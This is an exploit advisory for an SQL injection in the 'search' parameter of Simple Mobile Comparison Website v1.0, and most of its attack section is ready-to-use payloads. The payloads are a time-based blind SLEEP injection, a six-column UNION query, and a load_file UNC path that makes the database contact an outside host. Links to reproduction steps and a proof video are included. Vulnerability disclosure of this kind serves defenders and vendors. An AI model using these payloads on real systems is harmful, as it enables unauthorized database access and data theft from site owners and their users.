Simple Mobile Comparison Website v1.0 - SQL injection Vulnerability

# Title: Simple Mobile Comparison Website v1.0 - SQLi
# Author: nu11secur1ty
# Vendor: https://www.sourcecodester.com/users/tips23
# Software: https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html
# Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Simple-Mobile-Comparison-Website 

## Description:
The `search` parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\b2erch904xo23g6w31eg32y49vfo3fr6uulhb50.https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html\\qhe'))+' was submitted in the search parameter. 
This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. 
The application interacted with that domain, indicating that the injected SQL query was executed.
WARNING: If this is in some external domain, or some subdomain redirection, or internal whatever, this will be extremely dangerous!

Status: CRITICAL


[+] Payloads:

```mysql
---
Parameter: search (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=218336'+(select load_file('\\\\b2erch904xo23g6w31eg32y49vfo3fr6uulhb50.https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html\\qhe'))+'') AND (SELECT 2552 FROM (SELECT(SLEEP(3)))GbNG) AND ('HpeL'='HpeL

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: search=218336'+(select load_file('\\\\b2erch904xo23g6w31eg32y49vfo3fr6uulhb50.https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html\\qhe'))+'') UNION ALL SELECT NULL,NULL,CONCAT(0x716a717a71,0x735848694861555664694c6a6765425a746554476c705941525556624b5562576d4f646f6f674f55,0x717a787871),NULL,NULL,NULL,NULL,NULL-- -
---

```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Simple-Mobile-Comparison-Website)

## Proof and Exploit:
[href](https://streamable.com/mtzocn)